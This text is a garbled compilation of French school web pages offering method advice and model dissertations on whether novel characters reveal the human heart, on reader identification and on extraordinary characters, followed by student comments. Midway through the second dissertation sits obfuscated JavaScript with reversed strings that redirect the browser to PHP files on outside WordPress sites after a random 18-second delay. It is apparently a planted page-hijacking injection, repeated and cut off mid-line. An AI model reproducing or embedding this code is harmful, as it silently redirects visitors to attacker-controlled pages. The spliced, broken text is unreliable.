« dans quelle mesure » porte sur le mot « privilégié ». Il ne s’agit pas de savoir si le personnage donne ou non accès à la « connaissance du cœur humain », mais s’il s’agit d’un accès privilégié. L’expression suggère un plan dialectique, une discussion de l’idée ;

la formulation « du cœur humain » est à distinguer de « d’un cœur humain » : l’emploi de l’article défini (du = de le) peut aussi être discuté.

Reformulez la question avec vos propres mots : « Le personnage de roman permet-il de mieux connaître les émotions, les sentiments et les pensées de l’homme ? »

Subdivisez la question : « Le personnage de roman permet-il de ­connaître un ou le cœur humain ? » ; « Pourquoi et par quels moyens spécifiques donne-t-il accès à la vie affective ? » et inversement : « Le roman n’a-t-il pas des limites dans la connaissance du cœur humain ? »

Chercher des idées

Montrez comment, en partant d’un cas particulier (un personnage), le romancier peut donner une image du cœur humain.

Comparez à cet égard le roman aux autres genres : qu’est-ce qui le rapproche du théâtre ? de la poésie lyrique ? Qu’est-ce qui l’en distingue (les moyens spécifiques du roman) ?

Cherchez quel(s) type(s) de roman(s) ne permettent pas de peindre véritablement l’univers intérieur du personnage.

Exemples de romans pouvant vous mettre sur la voie : les textes du corpus, mais aussi : le roman d’analyse psychologique (La Princesse de Clèves de Mme de La Fayette, les romans de À la recherche du temps perdu de Proust…) ; le roman d’apprentissage (L’Éducation sentimentale de Flaubert) ; le roman épistolaire (Les Liaisons dangereuses de Laclos) ; le roman autobiographique (L’Enfant de Vallès).

> Pour réussir la dissertation : voir guide méthodologique.

> Le roman : voir lexique des notions.

Les titres en couleur et les indications en italique servent à guider la lecture mais ne doivent pas figurer sur la copie.

Introduction

[Amorce] Il est souvent difficile d’accéder au « cœur » d’autrui. Nous avons accès aux gens qui nous entourent par leur aspect physique, leur comportement, mais on ne sait jamais ce qu’ils ressentent ou pensent dans le fond. Or, « le but suprême du romancier est de nous rendre sensible l’âme humaine, de nous la faire connaître et aimer dans sa grandeur comme dans sa misère, dans ses victoires et dans ses défaites » (Georges Duhamel, Essai sur le roman).

[Problématique et annonce du plan] À travers ses personnages, le roman nous permet de connaître le « cœur » humain et nous éclaire sur l’homme. En quoi le roman est-il à cet égard un moyen privilégié par rapport aux autres genres littéraires ? N’y a-t-il pas des limites à cela ? Les personnages de roman permettent-ils toujours de connaître la nature humaine dans toute sa complexité ?

I. Le personnage de roman éclaire le cœur humain

1. Qu’est-ce que « la connaissance du cœur humain » ?

Par métonymie, le « cœur » désigne les émotions, les sentiments, les passions, les désirs, les pensées, autrement dit tout ce qui n’est pas accessible de l’extérieur, tout ce que l’on cache ou dont on n’a pas conscience.

L’adjectif « humain » renvoie à des personnes auxquelles le lecteur peut se comparer : il ne s’agit pas d’un cœur humain, mais du cœur humain. Les personnages de roman nous ressembleraient, car « le génie du roman nous fait vivre le possible » (Albert Thibaudet).

Enfin, le mot « connaissance » n’est pas à prendre au sens scientifique : la « connaissance » est ici ce qui implique la lucidité sur les sentiments de l’homme, ce qui les fait comprendre.

2. L’accès à un cœur humain ou au cœur humain ?

Comme le théâtre, le roman, à travers la peinture de son personnage, donne apparemment accès à un cœur humain (au cœur d’un homme). Le roman s’inscrit en effet dans une époque, il raconte l’histoire d’un personnage précis, d’une destinée singulière : Julien Sorel est un jeune homme du peuple « de 1830 » [+ exemples personnels]. Le personnage de roman n’est que la vision d’un homme à une époque et à un moment donnés.

Pourtant le roman donne aussi accès au cœur humain. Chacun des personnages, parce qu’il est composé de plusieurs êtres réels, comporte une « parcelle » du cœur humain en général. Balzac explique que, « souvent, il est nécessaire de prendre plusieurs caractères semblables pour arriver à en ­composer un seul […] La littérature se sert du procédé qu’emploie la peinture, qui, pour faire une belle figure, prend les

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Pour apprécier un roman, est-il nécessaire que le lecteur se reconnaisse et partage les sentiments du personnage principal?

I Pour apprécier, le lecteur a besoin de s’identifier

Le roman est un récit fictif qui raconte les aventures d’un personnage imaginaire. Le lecteur apprécie plus facilement le roman lorsqu’il se sent plus proche du personnage principal.

A) Plus facilement compréhensible, le personnage possède des caractères humains

Le lecteur peut s’identifier au personnage ce qui permet de mieux comprendre le récit et se sentir concerné. Le lecteur peut s’identifier plus facilement au personnage principal lorsqu’il vit dans un cadre de vie réel et possède des caractères humains. Le lecteur rencontre en effet un personnage qui a les mêmes préoccupations du quotidien. Dans les romans réalistes du XIXe siècle par exemple, le romancier s’attache à  décrire le personnage dans ses moindres détails de l’apparence à  sa psychologie avec la volonté de transcrire le réel. Dans le roman du Père Goriot , Balzac raconte l’ascension d’Eugene Rastignac dans la société de l’ancien règime. Il décrit le personnage principal Eugène Rastignac de façon très précise avec un souci du détail vrai. Le lecteur peut alors s’identifier au personnage qui lui ressemble. De même, l’identification au personnage principal est plus simple lorsqu’il vit dans un cadre de vie réel. Emile Zola raconte, dans le roman L’Assommoir, la déchèance dune ouvrière, Gervaise Macquart, dans les faubourgs parisiens de l’ancien régime. Zola évoque avec minutie les diffèrents quartiers de Paris. Un lecteur parisien va se sentir proche du personnage principal et situer plus facilement le récit, ce qui va faciliter l’appréciation du roman.

B) Il possède les mêmes valeurs, les mêmes expériences et se pose les mêmes questions que le personnage. Il se sent compris et s’intéresse au destin du personnage.

C)il vit des aventures du personnage principal en résonnance. il peut vivre des aventures uniques..

Par ailleurs, le lecteur apprécie le roman en s’identifiant au personnage principal car il  va pouvoir vivre les « en résonance » les aventures. Le lecteur va en effet s’imaginer à  la place du personnage. De même,  par exemple en s’identifiant au personnage de Fhileas Fogg du roman d’aventure Le Tour du Monde en Quatre-Vingt Jours de Jules Vernes, le lecteur vit les aventures par procuration ce qui est très plaisant. Le lecteur espère naturellement la réussite des héros qu’il accompagne,  et le succès que le personnage rencontre est souvent proportionnel à  l’élan que le lecteur peut ressentir dans sa lecture. Le lecteur peut ainsi s’évader et oublier le quotidien. C’est d’ailleurs un des principes du roman policier o๠l’on attend que l’enquêteur résolve l’énigme.

TRANSITION:  Certes l’identification permet au lecteur d’apprécier le roman  mais certaines situations l’identification au personnage parait comme difficile voire impossible ainsi que partager des sentiments avec le personnage principal. Pour autant le lecteur peut apprécier le roman.

II L’identification n’est $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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A) le lecteur peut ne pas sidentifier au personnage., b) le personnage n’est qu’ tre de papier dont l’épaisseur psychologique est limitée, c) des personnages trop stéréotypés.

Que le lecteur s’identifie ou non au personnage principal, il ne s’attache pas uniquement au personnage principal pour apprécier le roman. Le roman n’est que composé du personnage principal ?

III Que le lecteur sidentifie ou non au personnage principal, il ne sattache pas uniquement au personnage principal pour apprécier le roman. On ne peut réduire un roman quau personnage principal. Dautres éléments sont à  lorigine de la réussite dun roman.

A) l’importance de l’intrigue, b) le rà´le de l’écriture, c) un roman est un moyen de faire réfléchir le lecteur, 9 reflexions sur “ dissertation sur le roman ”.

Merci beaucoup pour cette dissert, vous m’avez sauvé la vie pour mon devoir à rendre !! Elle est hyper bien rédigée cette dissertation, vous aviez quelle note ? Continuez ainsi!!

Merci pour ce commentaire très sympa!! J’avais eu 15/20 🙂 L’admin

Top cette dissert merci 🙂

Merci !!! Super rédaction, par rapport à moi en tout cas 😉

Bonjour , j’ai une dissertation à faire dans deux jour mais j’arrive pas pouvez m’aider svp Le sujet c’est pour apprécier un roman,un lecteur à t-il besoin de s´identifier au personnage principal et de partager ses sentiments ? Merci de votre compréhension et de me répondre au plus vite !

Salut elle est super cette dissertation. J’ai eu 16. Merci. Mon prof nous propose un autre sujet : La société est elle le seul obstacle à la réussite du personnage ambitieux ? Pour répondre à cet question vous vous appuierez essentiellement sur le roman le rouge et le noir de Stendhal ainsi que vos lectures perosnnelles . Peux tu m’aider ?

mec, tu viens sans doute de me sauver la vie MERCI très bien écrit, je me prosterne

Tant mieux ! Pas besoin de se prosterner 😂😂 Bon confinement

Si t’en a d’autres comme ça fait péter bg

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Dissertation : Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ?

L’ancien programme du bac de français (avant 2020) ne contenait pas une liste d’œuvres au programme.

Les questions de dissertation étaient donc des questions générales portant sur l’objet d’étude.

Sur cette page, je te propose un corrigé d’un sujet de dissertation tombé au bac de français 2013 pour les séries S et ES : Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ?

Dans ce devoir, j’utilise un plan dialectique (le fameux plan thèse / antithèse / synthèse).

Si tu prépares des dissertations sur œuvres, va voir ici mes exemples de dissertation pour le bac de français (nouveau programme).

Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ?

Introduction de la dissertation, phrase d’accroche.

Le conte est par excellence le genre de l’extraordinaire : on y trouve beaucoup de magie et des aventures incroyables. Mais ce modèle est-il applicable au roman ?

Définition des mots du sujet

Il y a trois notions à prendre en compte dans ce sujet, pour ne pas faire de hors-sujet :

1 – Le sujet parle du « romancier », il faut donc s’en tenir au genre romanesque : pas de théâtre, pas de poésie, et pas d’apologue (n’oublions pas que Candide est un conte philosophique, pas un roman !).

2 – La deuxième notion du sujet, c’est le « personnage », le sujet pousse donc à réfléchir à l’ évolution du personnage : puisqu’on pose la question, c’est qu’il n’a pas toujours été extraordinaire. La question sous-jacente est donc de savoir comment, pourquoi et en quelles circonstances le personnage peut ne pas être extraordinaire .

3 – La dernière définition, c’est savoir ce que veut dire « êtres extraordinaires » : il s’agit de personnages qui auront une vie différente de celle des hommes normaux, donc du lecteur. Il arrive à ces personnages des choses hors du commun , des aventures, des rencontres magiques, etc. Cela peut aussi être un personnage qui a une caractéristique extraordinaire (force surhumaine, magie, etc). Il faudra se demander pourquoi on cherche à rendre des personnages hors du commun.

Problématique :

Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ? (Il est accepté de reprendre la problématique proposée par le sujet). Qu’attend le lecteur des personnages que le romancier lui présente ? (C’est mieux de reformuler le sujet).

Présentation du plan de dissertation :

Dans un premier temps, nous verrons que si les personnages extraordinaires sont agréables à la lecture, ne faire que des personnages hors du commun manque de réalisme . Dans un dernier temps, nous verrons que les romanciers ont parfois même cherché à créer des personnages négatifs : malades, idiots, fous…

I – Les personnages extraordinaires sont agréables

A – un personnage qui fait rêver.

Le registre merveilleux permet de faire rêver , en proposant au lecteur des mondes pleins de magie, qui seront agréables à lire et à découvrir.

Dans le roman de Lewis Carroll , Alice au pays des Merveilles , Alice bascule très vite dans un monde nouveau pour elle comme pour le lecteur : de chapitre en chapitre, ils découvrent ce monde rêvé (ou cauchemardesque) avec étonnement.

C’est cet étonnement qui est intéressant dans le personnage extraordinaire : se confronter à un monde inconnu nous permet de remettre en cause notre vision de la vie , et de prendre du recul .

C’est d’ailleurs la position d’Alice dans le roman : elle ne s’arrête jamais de demander pourquoi telle chose inconnue a tel effet sur ce monde.

Un roman qui fait rêver grâce à un personnage extraordinaire permet de réfléchir au monde qui nous entoure parce qu’on est mis face à une réalité différente .

B – Un personnage qui fait voyager

Nous étudierons l’exemple du texte A du corpus : Sido , de Colette .

Le cadre posé par les phrases d’introduction fait penser que le personnage ne sera pas extraordinaire . Pourtant, la mère devient une magicienne à travers le souvenir de la narratrice : on relève un vocabulaire de l’ exotisme (« denrées exotiques », « la momie exhumée », « la musique birmane », « comestibles coloniaux ») et du luxe (« essence à la violette », « des gants très chers », « cordon d’or », « ficelle d’or », « scellé d’or »).

Le texte montre que le cadre de vie de la famille est « modeste », comme le manteau de la mère : le père est maigre (maladie ou pauvreté ?), et la mère part seule à Paris , ce qui indique que la famille n’a peut être pas les moyens d’emmener tout le monde.

Mais ce que rapporte la mère fait voyager la narratrice (champ lexical de l’odorat : « essence à la violette », « parfum châtain », « l’effusion »), et par la même occasion, le lecteur qui s’y identifie.

C’est donc le procédé d’identification au personnage qui rend les personnages extraordinaires agréables : il permet au lecteur de vivre et de ressentir les mêmes choses que le personnage-narrateur.

C – Un personnage qui fait s’évader

Le roman Le Comte de Monte-Cristo d’Alexandre Dumas est un bon exemple de personnage qui fait s’évader, parce qu’il met en scène un personnage heureux, Dantès, qui va se marier à une femme qu’il aime, et qui va devenir capitaine du bateau sur lequel il travaille. Mais ses « amis » sont jaloux et montent un complot pour le faire emprisonner.

Ce roman est donc un roman d’évasion : Dantès finit par s’échapper de sa prison et par trouver un trésor. Il revient à Paris pour se venger des comploteurs, sous le nom de « Comte de Monte-Cristo ».

Ce roman nous fait nous évader parce qu’il représente une évasion d’un lieu où personne ne peut normalement s’échapper. Il y a aussi un évasion grâce au pouvoir de l’argent : le comte est très riche et peut tout s’acheter, le lecteur ressent une libération par procuration, parce qu’il lit l’histoire d’un homme qui peut tout se permettre grâce à son argent.

Transition :

Cependant les lecteurs veulent aussi voir des romans qui présentent des personnages réalistes , car si l’extraordinaire permet de voyager, le réalisme permet d’apprendre et de comprendre le monde qui nous entoure.

II – Les personnages peuvent aussi refléter la vie quotidienne du lecteur

A- le personnage réaliste.

Le texte C du corpus, Un roi sans divertissement , de Giono , montre un exemple de personnage réaliste .

En effet, l’extrait est un souvenir, qui pourrait donc être complètement déformé par le temps. La description qui est faite est pourtant réaliste, ce qui donne une impression de vraisemblance .

Des noms précis de lieux réels sont cités (« Saint Baudille » x2, « Mens »), et l’emploi du passé composé a une fonction descriptive : il s’agit de montrer des événements communs de la vie de tous les jours.

De plus, le portrait ne vient que très tard dans l’extrait : on décrit d’abord l’ environnement de Mme Tim avant d’en venir à elle. C’est parce qu’à partir du XIXe siècle, le roman choisit d’arrêter d’utiliser des personnages-archétypes et choisit d’en faire type sociaux : ils sont inscrits dans un temps et un espace précis qui a des conséquences sur leur façon d’agir.

Ici, avant son portrait, c’est le fait qu’elle est grand-mère , qu’elle aime les fêtes qui compte, parce que cela montre comment elle réagit face à son environnement. Même son portrait est orienté sur son milieu social , car il est décrit comme précieux (« opulente », « fond énorme » ce qui veut dire qu’il faut beaucoup de tissu pour faire la robe, et donc qu’elle a coûté cher, « corset agrémenté »).

Il ne s’agit plus de voir le personnage dans son essence mais de le comprendre en situation , dans sa vie. Cela donne un aspect plus ordinaire au personnage, mais cela apprend au lecteur à voir des réalités vraisemblables qu’il ne connaît pas.

B- Le personnage psychologique

Nous étudierons le texte B du corpus, extrait des Raisins de la colère de Steinbeck . Il s’agit d’un portrait de la mère de famille , mais celui-ci n’est pas seulement objectif, comme dans le texte précédent : il entre dans la tête du personnage décrit, et cherche à interpréter le caractère .

La volonté de vraisemblance va donc plus loin, puisqu’elle ne veut plus juste mettre en place des apparences qui ont l’air vraies, mais aussi de la vraisemblance psychologique .

Le portrait est d’abord physique (le visage, les yeux) puis il devient psychologique : « ses yeux noisette semblaient avoir connu toutes les tragédies possibles ».

Le personnage n’est pas extraordinaire : il ne lui arrive que des malheurs de la vie quotidienne.

L’enjeu n’est pas de faire rêver le lecteur, ou de le faire s’évader, mais de montrer comment fonctionne une famille . Ici, c’est la mère qui tient tout le monde parce qu’elle est très forte psychologiquement.

De plus, on apprend que son métier est « guérisseuse », il y a donc un lien entre sa fonction de gardienne de la famille (métaphore de la citadelle) et son métier qui consiste à soigner les gens.

Le lecteur, grâce à ce personnage commun, même s’il semble très courageux, apprend la psychologie pendant sa lecture.

C – Le personnage normal

L’anti-héros est un type de personnage « normal » , dont on attend normalement rien de plus qu’une vie classique , mais qui devient un héros presque malgré lui, et se révèle dans l’épreuve du roman.

Par exemple, dans Ravage de René Barjavel , le monde s’écroule suite à une panne mondiale d’électricité. François Deschamp , un garçon assez quelconque même s’il est plutôt grand et fort, sauve un groupe de personnes de Paris, qui est devenue une zone très dangereuse. Ils partent donc en expédition vers la province où ils survivent.

Ces personnages normaux permettent au lecteur de mieux se projeter dans l’histoire, car elle arrive à quelqu’un d’aussi ordinaire que lui, et qui vit quand même des aventures.

Les personnages que nous avons étudiés restent positifs , même si ce sont des anti-héros. En réalité, les personnages créés par les romanciers ne le sont pas toujours, qu’ils soient ordinaires ou extraordinaires. (La troisième partie est un élargissement de la question, qu’on appelle le dépassement).

III – Un nouveau personnage : le personnage négatif

A – le personnage méchant.

Dans Splendeurs et misère d’une courtisane , de Balzac , un personnage méchant devient un des personnages principaux.

Il est pourtant ouvertement mauvais : il est manipulateur , ancien bagnard , et il pousse l’héroïne à la prostitution .

Pourtant, sans sa ruse, les protagonistes ne survivraient pas, et ce n’est que parce qu’il est retardé dans son plan que le héros meure.

La mise en place de personnages de méchants comme héros permet de nuancer les psychologies et de se rapprocher de la vie : personne n’est tout blanc ou tout noir.

Le lecteur apprend à s’identifier à des personnages auxquels il n’a pas l’habitude de croire.

B – Le personnage malade

Le Voyage au bout de la nuit de Céline propose une autre définition du personnage : le personnage malade .

Le lecteur suit Bardamu , misanthrope et paranoïaque . Tout le récit est conditionné par ces caractéristiques du personnage.

Cela apporte au roman une nouvelle perception des choses que le lecteur croit d’abord objectif puisqu’il a l’habitude de suivre des personnages sains.

Au fur et à mesure que Bardamu rencontre des gens, le lecteur perçoit ce côté malade et malsain du personnage principal, et apprend à prendre du recul par rapport à la fiction proposée.

C – Le personnage idiot

Le XXe siècle ne veut plus du personnage psychologique, et cherche à réinventer la figure du héros .

Dans le Journal intime de Sally Mara , Raymond Queneau écrit le faux journal intime d’une jeune Irlandaise très naïve , et complètement idiote .

Le lecteur est obligé de se fier à la subjectivité de Sally car il n’y a pas d’autre narrateur que le personnage dans un journal intime.

Ici, le personnage devient plus que banal, il devient déficient . Cela pousse le lecteur à se questionner sur la validité du personnage , et sur la raison qui a poussé Queneau à utiliser un personnage idiot.

Cela permet de voir le monde à travers des yeux complètement différent, et donc une autre sorte de dépaysement que le merveilleux.

Conclusion de la dissertation

Résumé et réponse à la problématique :.

Le roman permet de développer beaucoup de personnages différents.

Ceux qui sont extraordinaires permettent de se confronter à un monde nouveau , ou tout simplement de s’évader de son monde.

Certains personnages sont réalistes , et permettent d’étudier les différences et les nuances de la condition humaine.

Les personnages négatifs reviennent à une des fonctions des personnages extraordinaires : se confronter à autre chose que ce qu’on connaît. Sauf que ce n’est pas le monde de référence qui change, mais la vision du monde du personnage , qui est pervertie par la maladie ou sa méchanceté.

Ouverture :

Certaines représentations de personnages ont été jugées indécentes et condamnées par la justice , alors qu’ils ne sont que des êtres inventés . On pense par exemple à Mme Bovary , qui a été vue comme un personnage obscène qui encourage ses lecteurs (et surtout lectrices) à l’adultère. Il ne faut donc pas oublier de faire la différence entre les pensées et paroles du personnage , et celles de l’ auteur .

NB : Dans ta dissertation le jour J, les intitulés des parties et des sous-parties ne doivent pas être apparents. Ils doivent être rédigés.

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